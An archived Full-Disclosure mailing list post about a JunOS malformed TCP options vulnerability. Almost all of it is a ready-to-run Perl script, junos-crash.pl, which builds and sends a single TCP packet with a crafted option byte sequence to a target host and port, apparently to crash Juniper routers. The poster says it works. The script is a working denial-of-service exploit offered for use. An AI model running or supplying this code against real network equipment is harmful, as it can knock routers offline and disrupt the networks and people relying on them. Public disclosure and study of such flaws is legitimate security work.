[<prev] [next>] [day] [month] [year] [list]
Message-Id: <F6C180CF-696D-4AA0-A2EC-56C25DC8F7C1@evilrouters.net>
Date: Sat, 9 Jan 2010 21:31:47 -0500
From: "Jeremy L. Gaddis" <jeremy@...lrouters.net>
To: full-disclosure@...ts.grok.org.uk
Subject: JunOS malformed TCP options vulnerability
This works for me:
$ cat junos-crash.pl
#!/usr/bin/perl
my $host = shift;
my $port = shift;
use Net::Packet qw($Env);
use Net::Packet::IPv4;
my $ip = Net::Packet::IPv4->new(dst => $host);
use Net::Packet::TCP;
my $tcp = Net::Packet::TCP->new(
dst => $port,
options => "\x65\x02\x01\x01",
);
use Net::Packet::Frame;
my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);
$frame->send;
exit 0;
--
Jeremy L. Gaddis
http://evilrouters.net/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists